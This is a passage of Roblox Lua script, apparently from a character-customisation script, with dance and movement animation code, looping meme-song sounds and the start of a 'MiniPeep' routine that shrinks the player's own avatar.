- sheddy = false
- durka = false
- saxguy = false
- foxie = false
- burndem = false
- bronymusic = false
- canttt = false
- brony_music:stop()
- cant:Stop()
- fox_say:stop()
- spitfire:stop()
- heman:stop()
- justin:stop()
- jb = false
- durk:stop()
- restorecolors()
- burn_dem:stop()
- if hat then
- hat:Destroy()
- end
- sax_guy:stop()
- gangy_style:stop()
- cant_touch:stop()
- you_are_pirate:stop()
- dubstep_gun:stop()
- super_annoying:stop()
- barrel_roll:stop()
- dancing = false
- global_wait = 0
- LightForTorso.Color = torso.BrickColor.Color
- end
- if k == "q" then
- if looking then
- if sitting then return end
- rj.C0 = CFrame.new()
- looking = false
- end
- end
- if k == "e" then
- if looking then
- if sitting then return end
- rj.C0 = CFrame.new()
- looking = false
- end
- end
- end)
- game:service'RunService'.Stepped:connect(function()
- count = (count % 100) + countspeed
- angle = math.pi * math.sin(math.pi*2/100*count)
- if slidecount < slidecountmax then
- slidecount = slidecount + speed
- end
- if slidecount > slidecountmax then
- slidecount = slidecount - speed
- end
- if global_wait == 380 then global_wait = 0 end
- sine = sine + sinespeed
- if not dancing then
- if not sitting then
- local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
- local hitz, enz = workspace:FindPartOnRay(ray, char)
- if not hitz then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
- if not looking then
- rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
- -- idle anim
- anim = "Idle"
- if anim ~= lastanim then
- if lastanim == "Walking" then
- speed = 0.5
- slidecount = 1
- slidecountmax = 0
- elseif lastanim == "Running" then
- speed = 2.5
- slidecount = 5
- slidecountmax = 0
- else
- slidecount = 0
- slidecountmax = 0
- end
- end
- countspeed = 1
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
- if not looking then
- rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
- looking = false
- -- walk anim
- anim = "Walking"
- if anim ~= lastanim then
- speed = 0.2
- slidecount = 0
- slidecountmax = 1
- if lastanim == "Running" then
- slidecount = 5
- end
- end
- countspeed = 6
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
- rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
- --run anim
- anim = "Running"
- if anim ~= lastanim then
- speed = 1
- slidecount = 0
- slidecountmax = 5
- if lastanim == "Walking" then
- slidecount = 1
- end
- end
- looking = false
- countspeed = 9
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
- end
- lastanim = anim
- else
- countspeed = 1
- local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
- local hitz, enz = workspace:FindPartOnRay(ray, char)
- if not hitz then
- rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
- else
- rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
- end
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
- end
- else
- if superannoying then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif barrelroll then
- countspeed = 5
- sinespeed = 0.1
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
- elseif dubstepgun then
- global_wait = (global_wait % 380) + 1
- countspeed = 5
- if global_wait < 249 - 40 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait > 249 - 40 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
- end
- elseif youpirate then
- global_wait = (global_wait % 380) + 1
- countspeed = 5
- if global_wait < 79 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait < 299 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait > 299 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- end
- elseif canttouch then
- countspeed = 5
- global_wait = (global_wait % 160) + 1
- if global_wait == 160 then global_wait = 0 end
- if global_wait < 39 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
- elseif global_wait < 79 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
- elseif global_wait < 119 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
- torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
- elseif global_wait > 119 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
- torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
- end
- elseif gangnam then
- countspeed = 5
- if global_wait == 180 then global_wait = 0 end
- global_wait = (global_wait % 180) + 1
- if global_wait < 89 then
- ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
- rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- elseif global_wait > 89 then
- ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- end
- elseif foxie then
- countspeed = 5
- global_wait = (global_wait % 380) + 2
- if global_wait < 89 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
- elseif global_wait > 89 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- end
- elseif durka then
- countspeed = 2
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- elseif saxguy then
- countspeed = 5
- ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
- rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
- rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- elseif heya then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
- elseif jb then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif canttt then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif bronymusic then
- countspeed = 5
- ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
- rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
- rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
- neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
- rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
- elseif sheddy then
- countspeed = 7
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif burndem then
- countspeed = 4
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- end
- end
- end)
- plr.Chatted:connect(function(msg)
- game:service'Chat':Chat(head, msg, 0)
- if msg == "reset/" then
- char:breakJoints()
- end
- if msg == "resp/" then
- plr:LoadCharacter()
- end
- end)
- end)
- if not ran and err then
- print(err)
- end
- ]]
- MiniPeep = [[
- local ran,err = ypcall(function()
- plr = game:service'Players'.LocalPlayer
- char = plr.Character
- mouse = plr:GetMouse()
- humanoid = char:findFirstChild("Humanoid")
- torso = char:findFirstChild("Torso")
- head = char.Head
- ra = char:findFirstChild("Right Arm")
- la = char:findFirstChild("Left Arm")
- rl = char:findFirstChild("Right Leg")
- ll = char:findFirstChild("Left Leg")
- rs = torso:findFirstChild("Right Shoulder")
- ls = torso:findFirstChild("Left Shoulder")
- rh = torso:findFirstChild("Right Hip")
- lh = torso:findFirstChild("Left Hip")
- neck = torso:findFirstChild("Neck")
- rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
- anim = char:findFirstChild("Animate")
- rootpart = char:findFirstChild("HumanoidRootPart")
- camera = workspace.CurrentCamera
- if anim then
- anim:Destroy()
- end
- rj.C0 = CFrame.new()
- rj.C1 = CFrame.new()
- super_annoying = Instance.new("Sound", head)
- super_annoying.SoundId = "http://www.roblox.com/asset/?id=164161056"
- super_annoying.Volume = 1
- super_annoying.Looped = true
- uni = Instance.new("Sound", head)
- uni.SoundId = "http://www.roblox.com/asset/?id=141444871"
- uni.Volume = 1
- uni.Looped = true
- ann = Instance.new("Sound", head)
- ann.SoundId = "http://www.roblox.com/asset/?id=130808056"
- ann.Volume = 1
- ann.Looped = true
- fwutters = Instance.new("Sound", head)
- fwutters.SoundId = "http://www.roblox.com/asset/?id=148896355"
- fwutters.Volume = 1
- fwutters.Looped = true
- loll = Instance.new("Sound", head)
- loll.SoundId = "http://www.roblox.com/asset/?id=130803007"
- loll.Volume = 1
- loll.Looped = true
- land_of_swords = Instance.new("Sound", head)
- land_of_swords.SoundId = "http://www.roblox.com/asset/?id=142357253"
- land_of_swords.Volume = 1
- land_of_swords.Looped = true
- qq = Instance.new("Sound", head)
- qq.SoundId = "http://www.roblox.com/asset/?id=142295308"
- qq.Volume = 1
- qq.Looped = true
- doge = Instance.new("Sound", head)
- doge.SoundId = "http://www.roblox.com/asset/?id=138213729"
- doge.Volume = 1
- doge.Looped = true
- nyan = Instance.new("Sound", head)
- nyan.SoundId = "http://www.roblox.com/asset/?id=142332086"
- nyan.Volume = 1
- nyan.Looped = true
- sctmn = Instance.new("Sound", head)
- sctmn.SoundId = "http://www.roblox.com/asset/?id=143620887"
- sctmn.Volume = 1
- sctmn.Looped = true
- barrel_roll = Instance.new("Sound", head)
- barrel_roll.SoundId = "http://www.roblox.com/asset/?id=143735700"
- barrel_roll.Volume = 1
- barrel_roll.Looped = true
- dubstep_gun = Instance.new("Sound", head)
- dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=148457569"
- dubstep_gun.Volume = 1
- dubstep_gun.Looped = true
- you_are_pirate = Instance.new("Sound", head)
- you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=148896147"
- you_are_pirate.Volume = 1
- you_are_pirate.Looped = true
- cant_touch = Instance.new("Sound", head)
- cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929"
- cant_touch.Volume = 1
- cant_touch.Looped = true
- gangy_style = Instance.new("Sound", head)
- gangy_style.SoundId = "http://www.roblox.com/asset/?id=130844430"
- gangy_style.Volume = 1
- gangy_style.Looped = true
- fox_say = Instance.new("Sound", head)
- fox_say.SoundId = "http://www.roblox.com/asset/?id=130797915"
- fox_say.Volume = 1
- fox_say.Looped = true
- durk = Instance.new("Sound", head)
- durk.SoundId = "http://www.roblox.com/asset/?id=144373608"
- durk.Volume = 1
- durk.Looped = true
- sax_guy = Instance.new("Sound", head)
- sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
- sax_guy.Volume = 1
- sax_guy.Looped = true
- heman = Instance.new("Sound", head)
- heman.SoundId = "http://www.roblox.com/asset/?id=131102548"
- heman.Volume = 1
- heman.Looped = true
- justin = Instance.new("Sound", head)
- justin.SoundId = "http://www.roblox.com/asset/?id=138154702"
- justin.Volume = 1
- justin.Looped = true
- brony_music = Instance.new("Sound", head)
- brony_music.SoundId = "http://www.roblox.com/asset/?id=143768403"
- brony_music.Volume = 1
- brony_music.Looped = true
- spitfire = Instance.new("Sound", head)
- spitfire.SoundId = "http://www.roblox.com/asset/?id=130776739"
- spitfire.Volume = 1
- spitfire.Looped = true
- burn_dem = Instance.new("Sound", head)
- burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469"
- burn_dem.Volume = 1
- burn_dem.Looped = true
- cant = Instance.new("Sound", head)
- cant.SoundId = "http://www.roblox.com/asset/?id=131122314"
- cant.Volume = 1
- cant.Looped = true
- if char:findFirstChild("Shirt") then
- char:findFirstChild("Shirt"):Destroy()
- end
- if char:findFirstChild("Pants") then
- char:findFirstChild("Pants"):Destroy()
- end
- if char:findFirstChild("Shirt Graphic") then
- char:findFirstChild("Shirt Graphic"):Destroy()
- end
- Instance.new("HumanoidController", game:service'ControllerService')
- Instance.new("SkateboardController", game:service'ControllerService')
- Instance.new("VehicleController", game:service'ControllerService')
- rh.Parent = nil
- lh.Parent = nil
- rs.Parent = nil
- ls.Parent = nil
- neck.Parent = nil
- rj.Parent = nil
- rl.FormFactor = "Custom"
- ll.FormFactor = "Custom"
- ra.FormFactor = "Custom"
- la.FormFactor = "Custom"
- torso.FormFactor = "Custom"
- head.FormFactor = "Custom"
- rootpart.FormFactor = "Custom"
- rootpart.Size = Vector3.new(.4, .4, .2)
- rl.Size = Vector3.new(.2, .4, .2)
- ll.Size = Vector3.new(.2, .4, .2)
- ra.Size = Vector3.new(.2, .4, .2)
- la.Size = Vector3.new(.2, .4, .2)
- torso.Size = Vector3.new(.4, .4, .2)
